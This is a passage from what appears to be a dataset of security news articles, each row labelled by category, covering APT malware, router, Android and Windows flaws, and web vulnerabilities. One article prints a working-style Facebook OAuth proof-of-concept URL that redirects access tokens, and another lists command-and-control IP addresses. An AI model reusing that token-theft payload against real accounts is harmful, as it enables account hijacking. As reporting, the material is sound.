Researchers mentioned that Backdoor.Vidgrab variant was used as a payload for a watering hole attack exploiting the Microsoft Internet Explorer Memory Corruption Vulnerability (CVE-2013-3893), which was patched in October 2013.

According to them, it is reasonable to assume that the same malware group, or another group with close connections, is behind the attacks that utilized the Internet Explorer and Ichitaro vulnerabilities.
""Backdoor.Vidgrab is known to be used to target the Asia-Pacific region with government sectors being the primary targets.""
Vulnerable products:
JustSystems Ichitaro 2010
JustSystems Ichitaro 2011
JustSystems Ichitaro 2011 Sou
JustSystems Ichitaro 2012 Shou
JustSystems Ichitaro 2013 Gen
JustSystems Ichitaro 2013 Gen Trial
JustSystems Ichitaro Government 2009
JustSystems Ichitaro Government 2010
JustSystems Ichitaro Government 6
JustSystems Ichitaro Government 7
JustSystems Ichitaro Government 2006
JustSystems Ichitaro Government 2007
JustSystems Ichitaro Government 2008
JustSystems Ichitaro Portable with oreplug
JustSystems Ichitaro Pro
JustSystems Ichitaro Pro 2 Trial
JustSystems Ichitaro Pro 2
JustSystems Ichitaro Viewer
Attackers are distributing malware with spear phishing attack, as email attachments with the Ichitaro file extension .jtd, the files are actually .rtf or rich text format files. The files cannot be opened using Microsoft Word as they are designed to work only with Ichitaro.
""The attackers, possibly belonging to the APT12 group who may have also developed BackdoorVidgrab, are persistently targeting similar, if not the identical, targets by attempting to exploit Ichitaro."" Symantec says.
A patch is available from the Ichitaro Web site to fix the vulnerability on the relevant products.

",Vulnerability
Another way to hack Facebook accounts using OAuth vulnerability,https://thehackernews.com/2013/04/another-way-to-hack-facebook-accounts.html,"In recent few months White hat Hacker ,'Nir Goldshlager' reported many critical bugs in Facebook OAuth mechanism, that allowed an attacker to hijack any Facebook account without user's interaction.

Another hacker, 'Amine Cherrai' reported a new Facebook OAuth flaw, whose exploitation is actually very similar to Nir Goldshlager's findings but with a new un-patched way.
Before reading further, I would like to suggest you to read following post to understand the basic exploitation mechanism:
Facebook OAuth flaw allows gaining full control over any Facebook account
Facebook hacking accounts using another OAuth vulnerability
URL Redirection flaw in Facebook apps push OAuth vulnerability again in action
Now, if you are aware about the vulnerability used against Facebook OAuth in redirect_uri parameter in the URL, there is another way that Amine Cherrai found, to bypass the patch applied by Facebook security team.

He found another file on Facebook, that allow redirection to steal access_token of victim's accounts. i.e https://facebook.com/connect/xd_arbiter.php?#&origin=https://facebook.com/&#8221; . Successful exploitation once again allowed hacker to hijack Facebook accounts using OAuth Flaw.

Proof of concept :
https://facebook.com/dialog/oauth?client_id=350685531728&response_type=token&display=page&redirect_uri=http%3A%2F%2Ftouch.facebook.com%2Fconnect%2Fxd_arbiter.php%3F%23%21%2Fapps%2Fmidnighthack%2F%3F%26origin%3Dhttp%3A%2F%2Ffacebook.com%2F

Video Demonstration:

By the way this bug was closed by Facebook Security Team few days back and your social accounts are once again secured, till next finding !

",Vulnerability
Chinese Trojans Gh0stRAT used to attack pro-Tibet organisations,https://thehackernews.com/2012/03/chinese-trojans-gh0strat-used-to-attack.html,"Chinese Trojans Gh0stRAT used to attack pro-Tibet organisations


AlienVault has discovered a range of spear phishing attacks taking place against a number of Tibetan organizations apparently from Chinese attackers. The security firm believes that the attacks are originating from the same Chinese group that launched the Nitro attacks last year and and signal a serious escalation into cyberwar from the 'cold war' that has existed between the two countries since the occupation by the Chinese army in 1950.

The new attack uses a malicious Word attachment sent by email to organisations including the Central Tibet Administration and International Campaign for Tibet using English-language subject lines promoting a Tibetan religious festival. The attacks were given the name Nitro, and they leveraged Phishing and a PDF exploit to target a vulnerability in Windows (CVE-2010-3333).

The malicious payload being delivered in this latest attack is a variant of Gh0stRAT, which exploits a known Office vulnerability. ""It is no surprise that Tibetan organisations are being targeted they have been for years and we continue to see Chinese actors breaking into numerous organisations with impunity,"" said Alien Vault's Jaime Blasco. The malware was digitally signed to give it an extra layer of authenticity, although the certificate was revoked by VeriSign on 12 December 2011.

The malware code methodology isn't particularly sophisticated and uses particular techniques in order to hide from anti-virus software but specifically targets other anti-virus software. He also said that this attack uses command-and-control servers to allow cyber criminals to gain remote control of infected machines as well as let them change the structure and purpose of the malware program code remotely.

",Malware
Reality Based Cyber Crime Novella Explores Aftermath of Stuxnet Attack On Iran,https://thehackernews.com/2011/10/reality-based-cyber-crime-novella.html,"Reality Based Cyber Crime Novella Explores Aftermath of Stuxnet Attack On Iran
GRAND RAPIDS – Cyber Styletto is a new novella by a journalist, a writer, and a security expert who have pooled their talents to create an enthralling good read that is future forward and predictive. The facts are based on real vulnerabilities in the way the Internet is constructed.

Recent cyber security attacks using sophisticated malware (think Stuxnet) and social engineering techniques have raised the bar for defenders. Cyber Styletto pivots off these cyber events to educate and entertain. It is written as fact-based fiction.

The story comes from the minds of Gian DeTorre and Mike Brennan. DeTorre is the pen name of an award winning fiction writer and literary critic whose stories and reviews have been published worldwide.
""Cyber Styletto is a new genre in literature, bringing the modern, secretive world of cyber espionage together with a good, old-fashioned thriller,"" DeTorre said. I hope our audience has as much fun reading it as we had producing it.

Brennan has been a journalist for more than thirty years covering science, technology, and business for newspapers in the US. For the past decade he has been editor and publisher of MITechNews.Com.
The cyber security technology featured in the novella has been verified by security expert Richard Stiennon, Chief Research Analyst at IT-Harvest. Stiennon has been in the security field since 1995. He is the author of ""Surviving Cyberwar"" and technology consultant to Cyber Styletto, the first of a series of novellas that will chronicle today's very dangerous Internet world.

""Sometimes it is difficult to explain the complexity of advanced cyber attacks. Cyber Styletto succeeds in highlighting the potential for abuse of our networked world by bad actors; and it does so in an entertaining good read!""

Added Brennan: ""When I started working with Richard more than a year ago on what we thought would be a great science fiction tale, we had no idea that when we published it our fiction would turn to fact,"" Brennan said. ""Our plot and many of the characters are ripped from today's headlines. The novella morphed from a good story to a great read when Gian joined the team. We believe we have written a story every cyber security professional and government policy makers should read carefully.""
The eBook sells for $2.99 and is available at Smashwords.Com
The paperback sells for $13.37 and is available at LuLu.Com
You can reach Brennan via phone at (616) 205-4320.
An illustrated paperback version will be released late summer.
Cyber Styletto: Read it, learn it, stay secure.

",Malware
U.S. Believes Russian Spies Used Kaspersky Antivirus to Steal NSA Secrets,https://thehackernews.com/2017/10/kaspersky-nsa-spying.html,"Do you know—United States Government has banned federal agencies from using Kaspersky antivirus software over spying fear?

Though there's no solid evidence yet available, an article published by WSJ claims that the Russian state-sponsored hackers stole highly classified NSA documents from a contractor in 2015 with the help of a security program made by Russia-based security firm Kaspersky Lab.

Currently, there is no way to independently confirm if the claims on the popular security vendor published by the Wall Street Journal is accurate—and the story does not even prove the involvement of Kaspersky.

""As a private company, Kaspersky Lab does not have inappropriate ties to any government, including Russia, and the only conclusion seems to be that Kaspersky Lab is caught in the middle of a geopolitical fight,"" Kaspersky said in a statement.

The NSA contractor working with the American intelligence agency, whose identity has not yet been disclosed, reportedly downloaded a cache of highly classified information from government systems and moved it to a personal computer at home, which is clear violation of known security procedures.

Citing some anonymous sources, the Journal says that the targeted computer was running Kaspersky antivirus—the same app the U.S. Department of Homeland Security (DHS) recently banned from all government computer systems over spying fear.

The classified documents taken to home by the contractor contained details about how the NSA breaks into foreign computer networks for cyber espionage operations as well as defends its systems against cyber attacks.

Although what role Kaspersky played in the breach is not entirely clear, US officials believe antivirus scan performed by Kaspersky Lab's security software on the contractor's computer helped Russian hackers in identifying the files containing sensitive information.

In response to the WSJ story, Kaspersky CEO Eugene Kaspersky said his company ""has not been provided with any evidence substantiating the company's involvement in the alleged incident. The only conclusion sees to be that Kaspersky Lab is caught in the middle of a geopolitical fight.""

Also, it is not clear exactly how the files were stolen, but it has been speculated that the antivirus' practice of uploading suspicious files (malware executables) on the company's server, located in Russia, may have granted the Russian government access to the data.

Another possibility is that Russian hackers stole the confidential data by exploiting vulnerabilities in Kaspersky Lab software installed on the targeted system, according to the person, who asked not to be identified.

""Now, if we assume that what is reported is true: that Russian hackers exploited a weakness in our products installed on the PC of one of our users, and the government agencies charged with protecting national security knew about that, why didn't they report it to us?"" Kaspersky said.

""We patch the most severe bugs in a matter of hours; so why not make the world a bit more secure by reporting the vulnerability to us? I cannot imagine an ethical justification for not doing so.""

This breach of NSA classified files, which is being called ""one of the most significant security breaches in recent years,"" was occurred in 2015, but detected in 2016.

However, it is not clear whether this security incident has any ties to the Shadow Brokers campaign, an ongoing public leak of NSA hacking tools that many officials and experts have linked to the Russian government.

It is another embarrassing breach for the NSA, which has long struggled with contractor security—starting from Edward Snowden to Harold Thomas Martin and Reality Winner.

",Cyber_Attack
Massive cyber attack on South Korean banks and TV broadcasters,https://thehackernews.com/2013/03/massive-cyber-attack-on-south-korean.html,"Computer networks at major South Korean banks and top TV broadcasters crashed simultaneously Wednesday, during a Massive cyber attack. South Korean police investigating reports from several major broadcasters and banks.
least three broadcasters KBS, MBC and YTN and the Shinhan and Nonghyu banks reported that their computer networks had been crached. The state-run Korea Information Security Agency said that Screens went blank at 2 p.m. and more than seven hours later some systems were still down.

The take down was apparently not from a distributed denial-of-service (DDOS) attack, but a virus that has apparently infected machines in these organizations and delivered its payload simultaneously.

An official at the Korea Communications Commission said investigators speculate that malicious code was spread from company servers that send automatic updates of security software and virus patches.

The Associated Press says:
""The latest network paralysis took place just days after North Korea accused South Korea and the U.S. of staging a cyber attack that shut down its websites for two days last week. Loxley Pacific, the Thailand-based Internet service provider, confirmed the North Korean outage but did not say what caused it.

""The South Korean shutdown did not affect government agencies or potential targets such as power plants or transportation systems, and there were no immediate reports that bank customers' records were compromised, but the disruption froze part of the country's commerce.""

The Korea Internet Security Agency, a state watchdog, said it had recorded 40,000 cases of cyber attacks from foreign and domestic sources in 2012, up sharply from 24,000 in 2008.

Some banking services, such as ATM and online banking, were adversely affected by the shutdowns, though the banks are reporting that those services have been restored.

South Korean President Park Geun Hye has put together a cyber security team to look into whether North Korea is the culprit behind today's attacks.

",Cyber_Attack
Chinese Hackers exploiting Internet Explorer Zero Day vulnerability for Cyber Espionage,https://thehackernews.com/2012/12/chinese-hackers-exploiting-internet.html,"Web site for the Council on Foreign Relations was compromised and recently hit by a drive-by attack that was detected earlier this week. Hacker are suspected to be from China , who are exploiting a zero day Internet Explorer vulnerability for Cyber Espionage attack against one of American most elite foreign policy web groups.

According to Fireeye researchers, a malicious content on the website was hosted by hackers, that is exploiting Internet Explorer version 8.0 (fully patched version) to hack windows systems of visitors. ""We have chosen not to release the technical details of this exploit, as Microsoft is still investigating the vulnerability at this time.""

Once the system compromised, hackers look for valuable information from their computers, kinda Cyber Espionage. The FBI was notified of the attack and is said to be investigating. The CFR is one of the most elite foreign policy organizations in the United States with a membership of some 4,700 officials, former officials, journalists, and others. Its members include NBC anchor Brian Williams, Hollywood actress Angelina Jolie, and former Sen.

Firm also confirm that the malicious code was planted on the server using Mandarin Chinese language. In description parameter of MD5 of malicious files, they found simplified Chinese <文件说明> , that translates to <File Description>.
The securty specialists believe the attackers either removed their malicious software to prevent further details of the attack from being discovered, or CFR was able to isolate the software and remove it.

A similar Internet Explorer vulnerability was behind the major Aurora cyber attack on Google and other U.S. corporations that began in 2009 and was traced to China's government.

David Mikhail, a Council on Foreign Relations spokesman, ""The Council on Foreign Relations' website security team is aware of the issue and is currently investigating the situation,"" ""We are also working to mitigate the possibility for future events of this sort.""

",Vulnerability
Multiple Cross Site Scripting ( #XSS ) Vulnerabilities in Forbes,https://thehackernews.com/2012/01/multiple-cross-site-scripting-xss.html,"Multiple Cross Site Scripting ( #XSS ) Vulnerabilities in Forbes

Ucha Gobejishvili (longrifle0x) , A Georgian Security Researcher Discover two Cross Site Scripting ( XSS ) Vulnerabilities on the Official website of Forbes, an American publishing and media company. Cross-Site Scripting occurs when an attacker can send a malicious script to a different user by relaying the script from an otherwise trusted or innocuous server. These flaws are extensive on the Web and allow an attacker to place malicious code that can execute attacks against other users in the security context of the web servers of the trusted host.

1.) First Vulnerable Link : Click Here

2.) Second Vulnerable Link : Click Here


Cross-Site Scripting typically involves executing commands in a user's browser to display unintended content, or with the intent of stealing the user's login credentials or other personal information. This information can then be used by the attacker to access web sites and services for which the compromised credentials are valid (e.g., identity theft). In some cases, the attacker might be able to use this information to hijack or further compromise the user's HTTP sessions.

Recommendation for Forbes, Please Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form. Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.

",Vulnerability
Experts Uncover Malware Attacks Against Colombian Government and Companies,https://thehackernews.com/2021/01/experts-uncover-malware-attacks-against.html,"Cybersecurity researchers took the wraps off an ongoing surveillance campaign directed against Colombian government institutions and private companies in the energy and metallurgical industries.
In a report published by ESET on Tuesday, the Slovak internet security company said the attacks — dubbed ""Operation Spalax"" — began in 2020, with the modus operandi sharing some similarities to an APT group targeting the country since at least April 2018, but also different in other ways.
The overlaps come in the form of phishing emails, which have similar topics and pretend to come from some of the same entities that were used in a February 2019 operation disclosed by QiAnXin researchers, and subdomain names used for command-and-control (C2) servers.
However, the two campaigns diverge in the attachments used for phishing emails, the remote access trojans (RATs) deployed, and the C2 infrastructure employed to fetch the malware dropped.
The attack chain begins with the targets receiving phishing emails that lead to the download of malicious files, which are RAR archives hosted on OneDrive or MediaFire containing various droppers responsible for decrypting and running RATs such as Remcos, njRAT, and AsyncRAT on a victimized computer.
The phishing emails cover a wide range of topics, including those about driving infractions, attend court hearings, and take mandatory COVID-19 tests, thus increasing the likelihood that unsuspecting users will open the messages.
In an alternate scenario observed by ESET, the attackers were also found to use heavily obfuscated AutoIt droppers that used shellcode to decrypt the payload and another to inject it into an already running process.
The RATs not only come with capabilities for remote control but also to spy on targets by capturing keystrokes, recording screenshots, stealing clipboard data, exfiltrating sensitive documents, and even downloading and executing other malware.
ESET's analysis also revealed a scalable C2 architecture operated using a Dynamic DNS service that allowed them to dynamically assign a domain name to an IP address from a pool of 70 different domain names and 24 IP addresses in the second half of 2020 alone.
""Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year,"" the researchers concluded. ""The landscape has changed from a campaign that had a handful of C2 servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019.""

",Cyber_Attack
Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System,https://thehackernews.com/2018/05/eos-blockchain-smart-contract.html,"Security researchers have discovered a series of new vulnerabilities in EOS blockchain platform, one of which could allow remote hackers to take complete control over the node servers running the critical blockchain-based applications.

EOS is an open source smart contract platform, known as 'Blockchain 3.0,' that allows developers to build decentralized applications over blockchain infrastructure, just like Ethereum.

Discovered by Chinese security researchers at Qihoo 360—Yuki Chen of Vulcan team and Zhiniang Peng of Core security team—the vulnerability is a buffer out-of-bounds write issue which resides in the function used by nodes server to parse contracts.

To achieve remote code execution on a targeted node, all an attacker needs to do is upload a maliciously crafted WASM file (a smart contract) written in WebAssembly to the server.
As soon as the vulnerable process parser reads the WASM file, the malicious payload gets executed on the node, which could then also be used to take control over the supernode in EOS network—servers that collect transaction information and pack it into blocks.

""With the out of bound write primitive, we can overwrite the WASM memory buffer of a WASM module instance,"" the duo explained in their blog post published today.
""And with the help of our malicious WASM code, we finally achieve arbitrary memory read/write in the nodeos process and bypass the common exploit mitigation techniques such as DEP/ASLR on 64-bits OS. Once successfully exploited, the exploit starts a reverse shell and connects back to the attacker.""
Once the attackers gained control over the supernode, they could eventually ""pack the malicious contract into the new block and further control all nodes of the EOS network.""

Since the super node system can be controlled, the researchers said the attackers can ""do whatever they want,"" including, controlling the virtual currency transactions, and acquiring other financial and privacy data in the EOS network participating node systems, such as an exchange Digital currency, the user's key stored in the wallet, key user profiles, privacy data, and much more.
""What's more, the attacker can turn a node in the EOS network into a member of a botnet, launch a cyber attack or become a free 'miner' and dig up other digital currencies,"" the researchers told THN.
Researchers have detailed how to reproduce the vulnerability and also released a proof-of-concept exploit, along with a video demonstration, which you can watch on their blog post.

The exploit demonstrated by the 360Vulcan researcher can bypass multiple default security mitigation measures to achieve complete control over the super node running the malicious contract.

The pair responsibly reported the vulnerability to the maintainers of the EOS project, and they have already released a fix for the issue on GitHub.
""In Blockchain networks and digital currency systems, there are many attack surfaces existing in nodes, digital wallets, mining pools and smart contracts. 360 security team has previously discovered and disclosed multiple relevant high risk vulnerabilities,""
The researchers believe the new type of vulnerabilities affect not only EOS alone but also other types of Blockchain platforms and virtual currency applications.

",Vulnerability
Security Research : Be friend to anyone on Facebook in 24 hours,https://thehackernews.com/2011/11/security-research-be-friend-to-anyone.html,"Security Research : Be friend to anyone on Facebook in 24 hours

""People have simply ignored the threat posed by adding a profile without checking if this profile is true. New Technologies have loopholes, but it is up to the users to be aware of this type of flaw. Social networks can be fantastic, but people make mistakes. Privacy is a matter of social responsibility. There is no solution. We must make good use of the social network and we are alone in this task"", said Nelson Novaes, a Brazilian (independent) Security and Behavior Research. The two experiments (Proof of Concept – Research Study) were presented at the Conference Silver Bullet. Both were used with the sole purpose of POC to demonstrate the fragility and privacy issues in the use of social networks.

The technique is unusual and totally contrary to the terms of use of Facebook, but shows exactly how users can be manipulated. To prove his theory, the researcher in the field of online security and behavior Nelson Novaes has created an experiment through which he intended to befriend on Facebook a girl who worked with web security. For the purpose of the study, she was named SecGirl. The purpose of this experiment was to add SecGirl as a friend on Facebook in less than 24 hours. The result came earlier than expected: the specialist has managed to add SecGirl to his contact list in seven and a half hours.

To get closer to SecGirl, Novaes literally cloned the profile of someone very close to the girl: her manager. Using the clone profile, Novaes began to request the friendship from friends of friends of the manager. In just one hour, 24 of the 432 requests were accepted. The remarkable thing is that 96% of the people that accepted the friendship request had already added the true owner of the profile to their contact list (that is: they added the same person twice to their list, unaware of the false profile).

In the next hour, the researcher devoted himself to request the friendship from direct friends of the manager. Of the 436 requests, 14 people accepted the request made by the false profile – again, all these persons had already added the original profile to their contact lists and yet added the clone profile. In just over two hours, the manager accepted the friendship request made by the profile cloned by Novaes.

This fact would be crucial tor SecGirl's decision of adding the profile cloned as friend seven and a half hours after the beginning of the experiment. The logic is as follows: if a user has so many mutual friends, you should befriend him/her – or else, he/she is somewhat part of your circle of friends, not a complete stranger. Therefore, you decide to add this person to your Facebook profile and he/she can access information that cannot be accessed by other people.

""Most people have spent a great deal of their time cultivating their tens (of perhaps hundreds) of relationships that make up their contact list on Facebook. One theory, however, puts on permanent alert the premise of social networks: it is possible to befriend almost anyone on Facebook in less than 24 hours."" He added.

The experiment has also revealed what Novaes considers a serious failure of privacy on Facebook. According to the researcher, the recent tool ""Ticker"" (currently available to only a few Facebook users), which displays updates from contacts in real time in the upper right corner, reveals more than the user expects, such as signs of infidelity. And such information cannot be excluded.

Presentation:

",Vulnerability
Router Vulnerability Puts 12 Million Home and Business Routers at Risk,https://thehackernews.com/2014/12/router-vulnerability-puts-12-million.html,"More than 12 million routers in homes and businesses around the world are vulnerable to a critical software bug that can be exploited by hackers to remotely monitor users' traffic and take administrative control over the devices, from a variety of different manufacturers.

The critical vulnerability actually resides in web server ""RomPager"" made by a company known as AllegroSoft, which is typically embedded into the firmware of router , modems and other ""gateway devices"" from about every leading manufacturer. The HTTP server provides the web-based user-friendly interface for configuring the products.

Researchers at the security software company Check Point have discovered that the RomPager versions prior to 4.34 — software more than 10 years old — are vulnerable to a critical bug, dubbed as Misfortune Cookie. The flaw named as Misfortune Cookie because it allows attackers to control the ""fortune"" of an HTTP request by manipulating cookies.

HOW MISFORTUNE COOKIE FLAW WORKS
The vulnerability, tracked as CVE-2014-9222 in the Common Vulnerabilities and Exposures database, can be exploited by sending a single specifically crafted request to the affected RomPager server that would corrupt the gateway device's memory, giving the hacker administrative control over it. Using which, the attacker can target any other device on that network.
""Attackers can send specially crafted HTTP cookies [to the gateway] that exploit the vulnerability to corrupt memory and alter the application and system state,"" said Shahar Tal, malware and vulnerability research manager with Check Point. ""This, in effect, can trick the attacked device to treat the current session with administrative privileges - to the misfortune of the device owner.
Once attackers gain the control of the device, they could monitor victims' web browsing, read plaintext traffic traveling over the device, change sensitive DNS settings, steal account passwords and sensitive data, and monitor or control Webcams, computers, or other network connected devices.

MAJOR ROUTERS & GATEWAY BRANDS VULNERABLE
At least 200 different models of gateway devices, or small office/home office (SOHO) routers from various manufacturers and brands are vulnerable to Misfortune Cookie, including kit from D-Link, Edimax, Huawei, TP-Link, ZTE, and ZyXEL.

The bug not only affects routers, modems and other gateway devices, but anything connected to them from PCs, smartphones, tablets and printers to ""smart home"" devices such as toasters, refrigerators, security cameras and more. This simply means if a vulnerable router is compromised, all the networked device within that LAN is at risk.

WORSE ATTACK SCENARIO
Misfortune Cookie flaw can be exploited by any attacker sitting anywhere in the world even if the gateway devices are not configured to expose its built-in Web-based administration interface to the wider Internet, making the vulnerability more dangerous.

Because many routers and gateway devices are configured to listen for connection requests publicly on port 7547 as part of a remote management protocol called TR-069 or CWMP (Customer Premises Equipment WAN Management Protocol), allowing attackers to send a malicious cookie from far away to that port and hit the vulnerable server software.

12 MILLION DEVICES OPEN TO HIJACK
The critical vulnerability was introduced in 2002, and AllegroSoft apparently fixed the bug in its RomPager software back in 2005, but hardware from major companies such as Huawei, D-Link, ZTE and others currently sell products contains the vulnerable versions of RomPager. As demonstrated by Check Point's finding that 12 million vulnerable gateway devices in homes, offices and other locations still exist.
""We believe that devices exposing RomPager services with versions before 4.34 (and specifically 4.07) are vulnerable. Note that some vendor firmware updates may patch RomPager to fix Misfortune Cookie without changing the displayed version number, invalidating this as an indicator of vulnerability.""
""Misfortune Cookie is a serious vulnerability present in millions of homes and small businesses around the world, and if left undetected and unguarded, could allow hackers to not only steal personal data, but control peoples' homes,"" Tal said.
So far, Check Point has not observed an attack involving Misfortune Cookie in the wild, but the company is having a close look on the older unresolved issues in which routers and gateway devices were compromised in different and unknown ways.

",Vulnerability
New Man-in-the-Disk attack leaves millions of Android phones vulnerable,https://thehackernews.com/2018/08/man-in-the-disk-android-hack.html,"Security researchers at Check Point Software Technologies have discovered a new attack vector against the Android operating system that could potentially allow attackers to silently infect your smartphones with malicious apps or launch denial of service attacks.

Dubbed Man-in-the-Disk, the attack takes advantage of the way Android apps utilize 'External Storage' system to store app-related data, which if tampered could result in code injection in the privileged context of the targeted application.

It should be noted that apps on the Android operating system can store its resources on the device in two locations—internal storage and external storage.

Google itself offers guidelines to Android application developers urging them to use internal storage, which is an isolated space allocated to each application protected using Android's built-in sandbox, to store their sensitive files or data.

However, researchers found that many popular apps—including Google Translate itself, along with Yandex Translate, Google Voice Typing, Google Text-to-Speech, Xiaomi Browser—were using unprotected external storage that can be accessed by any application installed on the same device.

How Android Man-in-the-Disk Attack Works?

Similar to the ""man-in-the-middle"" attack, the concept of ""man-in-the-disk"" (MitD) attack involves interception and manipulation of data being exchanged between external storage and an application, which if replaced with a carefully crafted derivative ""would lead to harmful results.""
For instance, researchers found that Xiaomi web browser downloads its latest version on the external storage of the device before installing the update. Since app fails to validate the integrity of the data, the app's legitimate update code can be replaced with a malicious one.

""Xiaomi Browser was found to be using the External Storage as a staging resource for application updates,"" the researchers said in a blog post.

""As a result, our team was able to carry out an attack by which the application's update code was replaced, resulting in the installation of an alternative, undesired application instead of the legitimate update.""

In this way, attackers can get a man-in-the-disk position, from where they can monitor data transferred between any other app on the user's smartphone and the external storage and overwrite it with their own malicious version in order to manipulate or crash them.

The attack can also be abused to install another malicious app in the background without the user's knowledge, which can eventually be used to escalate privileges and gain access to other parts of the Android device, like camera, microphone, contact list, and more.

Man-in-the-Disk Attack Video Demonstrations
Check Point researchers also managed to compromise files and crash Google Translate, Google Voice-to-Text, and Yandex Translate because those apps also failed to validate the integrity of data used from the Android's external storage.

Among the apps that Check Point researchers tested for this new MitD attack were Google Translate, Yandex Translate, Google Voice Typing, LG Application Manager, LG World, Google Text-to-Speech, and Xiaomi Browser.

Google, which itself doesn't follow its security guidelines, acknowledged and fixed some affected applications and is in the process of fixing other vulnerable apps as well, Check Point said.

Besides Google, the researchers also approached the developers of other vulnerable applications as well, but some, including, Xiaomi declined to fix the issue, according to the researchers.
""Upon discovery of these application vulnerabilities, we contacted Google, Xiaomi, and vendors of other vulnerable applications to update them and request their response,"" Check Point researchers said.

""A fix to the applications of Google was released shortly after, additional vulnerable applications are being updated and will be disclosed once the patch is made available to their users, while Xiaomi chose not to address it at this time.""
The researchers stressed they only tested a small number of major applications and therefore expect the issue affects a more significant number of Android apps than what they explicitly noted, leaving millions of Android users potentially vulnerable to cyber threats.

",Vulnerability
"Google Discloses Poorly-Patched, Now Unpatched, Windows 0-Day Bug",https://thehackernews.com/2020/12/google-discloses-poorly-patched-now.html,"Google's Project Zero team has made public details of an improperly patched zero-day security vulnerability in Windows print spooler API that could be leveraged by a bad actor to execute arbitrary code.
Details of the unpatched flaw were revealed publicly after Microsoft failed to rectify it within 90 days of responsible disclosure on September 24.
Originally tracked as CVE-2020-0986, the flaw concerns an elevation of privilege exploit in the GDI Print / Print Spooler API (""splwow64.exe"") that was reported to Microsoft by an anonymous user working with Trend Micro's Zero Day Initiative (ZDI) back in late December 2019.
But with no patch in sight for about six months, ZDI ended up posting a public advisory as a zero-day on May 19 earlier this year, after which it was exploited in the wild in a campaign dubbed ""Operation PowerFall"" against an unnamed South Korean company.
""splwow64.exe"" is a Windows core system binary that allows 32-bit applications to connect with the 64-bit printer spooler service on 64-bit Windows systems. It implements a Local Procedure Call (LPC) server that can be used by other processes to access printing functions.
Successful exploitation of this vulnerability could result in an attacker manipulating the memory of the ""splwow64.exe"" process to achieve execution of arbitrary code in kernel mode, ultimately using it to install malicious programs; view, change, or delete data; or create new accounts with full user rights.
However, to achieve this, the adversary would first have to log on to the target system in question.
Although Microsoft eventually addressed the shortcoming as part of its June Patch Tuesday update, new findings from Google's security team reveals that the flaw has not been fully remediated.
""The vulnerability still exists, just the exploitation method had to change,"" Google Project Zero researcher Maddie Stone said in a write-up.
""The original issue was an arbitrary pointer dereference which allowed the attacker to control the src and dest pointers to a memcpy,"" Stone detailed. ""The 'fix' simply changed the pointers to offsets, which still allows control of the args to the memcpy.""
The newly reported elevation of privilege flaw, identified as CVE-2020-17008, is expected to be resolved by Microsoft on January 12, 2021, due to ""issues identified in testing"" after promising an initial fix in November.
Stone has also shared a proof-of-concept (PoC) exploit code for CVE-2020-17008, based off of a PoC released by Kaspersky for CVE-2020-0986
""There have been too many occurrences this year of zero-days known to be actively exploited being fixed incorrectly or incompletely,"" Stone said. ""When [in the wild] zero-days aren't fixed completely, attackers can reuse their knowledge of vulnerabilities and exploit methods to easily develop new zero-days.""

",Vulnerability
Researchers uncovered new malware used by Chinese cyber criminals,https://thehackernews.com/2013/05/researchers-uncovered-new-malware-used.html,"Trend Micro researchers have uncovered a new backdoor pieces of malware from the Winnti family, which are mainly used by a Chinese cyber criminal group to target South East Asian organizations from the video gaming sector.

Winnti malware used by hackers to hijack control of web users systems using a new backdoor contained in the legitimate Aheadlib analysis tool. Dubbed as ""Bkdr_Tengo.A,"" passes itself off as a legitimate system DLL file called winmm.dll. ""We believe that this was done using a legitimate tool called Aheadlib, which is a legitimate analysis tool."" wrote Trend Micro's Eduardo Altares.
""The file is not encrypted and neither was it particularly hard to analyze. Its main behavior is to steal Microsoft Office, .PDF, and .TIFF files from USB drives inserted into the system. These stolen files are stored in the $NtUninstallKB080515$ under the Windows folder. It also creates a log file named Usblog_DXM.log. The files can be retrieved by the attacker at a later time. Aside from retrieving files, it has several backdoor commands which allow the attacker to take control of the system.""

Aheadlib is a legitimate analysis tool that can be used to construct C code from DLL files. The tool is capable of hooking all the functions provided by the initial library. The criminals reportedly used the tool, which is connected to various parts of the network it is analysing, to create a backdoor they can use to bypass the system's security protocols.

""Two of these IP addresses proved to be of particular interest, namely 50.93.204.62 and 98.143.145.118. They are located in the United States, but multiple Chinese-language domains point to them. All of these have been blocked as command-and-control servers,"" he said.

This attack highlights how information theft can be performed even with malware that is not particularly advanced or sophisticated. It also shows some of the challenges in attributing attacks of this nature.

",Malware
Dropper Malware comes with DLL Hijacking Feature,https://thehackernews.com/2012/02/dropper-malware-comes-with-dll.html,"Dropper Malware comes with DLL Hijacking Feature

Trojans, Viruses, Worms have become the scare of the year, and with good reason. Many of the recent files are malicious in nature, causing the infected user at the very worst, to lose everything on their computer. There are few specially coded malware, which are not only developed to ensure that they cause maximum damage and steal all the sensitive information they can find on the infected devices.

According to Bitdefender experts, In a blog post they mention about such a malware called ""Dropper"" or Trojan.Dropper.UAJ. But the brand new in terms of approach that dropper hijacks a library file called comres.dll, altering it to ensure that each time it's being used, the malware steps into play. The smartness of this malware can be judge from here that, it makes a copy of the genuine comres.dll file, patches it and then saves it in the Windows directory folder, where the operating system normally looks for a DLL to load when it is required.

This attack unites two type of exploitation. DLL Hijacking is an attack that exploits the way some Windows applications search and load Dynamic Link Libraries. A bad guy can place a fake DLL for a known program in a location that is searched before the real DLL's location and almost guarantee that the malicious DLL is loaded, resulting in whatever code the attacker wants to run running. The Trojan then drops a Backdoor, identified by Bitdefender as Backdoor.Zxshell.B, which actually contains the code compromising the system.

Trojan.Dropper.UAJ is able to run on Windows7, Windows Vista, Windows 2003, Windows 2000 or Windows NT in both 32- and 64-bit environments.

2012 in terms of malware will be one of explosive growth, mostly because of the spread and growing allure of social networks and Security issues of the Android platform will mean that the number of threats to smartphones and tablets will also experience a boost in 2012.

[Source]

",Malware
"Hackers Breach LineageOS, Ghost, DigiCert Servers Using SaltStack Vulnerability",https://thehackernews.com/2020/05/saltstack-rce-exploit.html,"Days after cybersecurity researchers sounded the alarm over two critical vulnerabilities in the SaltStack configuration framework, a hacking campaign has already begun exploiting the flaws to breach servers of LineageOS, Ghost, and DigiCert.

